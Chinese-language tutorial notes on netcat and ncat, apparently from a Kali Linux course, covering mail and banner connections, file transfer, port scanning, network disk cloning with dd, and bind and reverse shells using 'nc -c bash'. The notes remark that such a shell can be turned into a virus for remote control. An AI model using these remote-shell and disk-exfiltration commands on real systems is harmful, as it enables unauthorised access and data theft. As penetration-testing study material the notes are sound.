一.NETCAT的功能
1.NETCAT--NC 跨平台 网络工具中的瑞士军刀 身材小巧 能力非凡
(1)侦听模式/传输模式
1.连接邮箱
ping pop.sina.com 找到新浪邮箱的ip
nc -vn ip 110
连接到邮箱之后登陆即可
pop默认需要base64:
打开shell
输入 base64
输入 字符
回车 Ctrl+D 得到转码后的字符
smtp邮箱不需要转码成64
2.连接Metasploit
nc -nv (Metasploit)IP 80
发送http请求获取网页信息
(2)telnet/获取banner信息
(3)传输文本信息
两台kali 之间互相连接
A:nc -l -p port 打开并侦听port端口 A作为服务器
B:nc -nv ip port B作为客户端
可作为远程电子取证
尽量少的修改服务器的内容
ls -l | nc -nv ip port
nc -l -p port > ps.txt 将远程传输过来的信息输出到ps.txt
ps aux | nc -nv ip port -q 1 命令-q 1 等待1s后退出
(4)传输文件/目录
传输文件:
A: nc -lp port>1.mp4 接收端
B: nc -nv ip port <1.mp4 -q 1 发送端
或
A: nc -lp port < 1.mp4 -q 1 发送端
B: nc -nv ip port > 2.mp4 接收端
文件后缀名一致即可
传输目录:
A: tar -cvf - music/ | nc -lp port -q 1
B: nc -nv ip port | tar -xvf -
思路:将目录打包 接收到之后 再解包
(5)加密传输文件
A: nc -lp port | mcrypt --flush -Fbqd -a rijndael-256 -m
ecb > 1.mp4 接收端
B: mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 |
nc -nv ip port -q 1 发送端
思路:利用操作系统的加密功能 需要自己安装mcrypt
(6)远程控制木马
(7)加密所有流量
(8)流媒体服务器
A: cat 1.mp4 | nc -lp port
B: nc -nv ip port | mplayer -vo x11 -cache 3000 -
思路:传输视频流 并使用mplayer 播放器播放
mplayer 需要自己安装
(9)远程克隆硬盘
A: nc -lp port | dd of=/dev/sda
B: dd if=/dev/sda | nc ip port -q 1
(10)端口扫描
nc -nvz ip 1-65535
扫描所有开放的端口
默认使用tcp端口
nc -nvzu ip 1-1024
扫描UDP端口
每一个扫描器的扫描结果都不可能是完全正确的
(11)远程控制 (-c bash 的是被控制的一方)
正向:
A: nc -lp 333 -c bash
B: nc -nv ip port
反向:
A:nc -lp port
B:nc -nv ip port -c bash
注:windows用户把bash改成cmd
可以作为系统服务,写作病毒,进行远程操控
二.NetCat的缺陷
1.NC缺乏加密和身份验证的能力
使用的是明文传输
2.每个版本的NC参数都不同
三.Ncat介绍
1.Ncat弥补NetCat的缺陷
2.Ncat包含于nmap工具包中
3.远程控制
A: ncat -c bash --allow ip -vnl port --ssl 被控制
B: nct -nv ip port --ssl
先进行密钥的交换,然后对会话使用 ssl加密